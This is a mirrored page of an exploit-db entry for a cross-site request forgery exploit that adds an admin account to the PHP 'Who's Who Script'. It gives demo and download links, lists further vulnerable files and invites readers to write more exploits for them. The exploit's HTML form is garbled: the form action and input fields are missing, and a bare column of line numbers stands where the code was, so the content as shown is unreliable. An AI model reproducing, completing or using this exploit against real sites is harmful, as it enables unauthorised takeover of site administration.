Who’s Who Script – Cross-Site Request Forgery (Add Admin) - 体验盒子

作者： ZoRLu Bugrahan

日期： 2014-10-31

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/35129/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

# Title: Who's Who Script CSRF Exploit (Add Admin Account)

# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com

# Home : http://milw00rm.com / its online

# Date : 30.10.2014

# Demo : http://demo.phpscriptlerim.com/free/whoswho/

# Download1 : http://www.phpscriptlerim.com/download/indir.php?id=14

# Download2 : https://yadi.sk/d/C8eQcvUeJjeZ2

# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others

# Note : I write exploit for adminsave.php but other file has a vuln in /yonetim/plugins folder.

You can write exp. for other files.

# Vulnerable : ayarsave.php, uyesave.php, slaytadd.php, slaytsave.php

# Not Vuln : uyedel.php and slaytdel.php file's not vulnerable for CSRF. Because session control available to files

<head>

<title>Who's Who Script CSRF Exploit (Add Admin Account)</title>

</head>

<body>

<h1>Admin Panel</h1>

<br>

<label><b>Username:</b></label><br>

<label><b>Password:</b></label><br>

</form>

</div>

</div>

</body>

</html>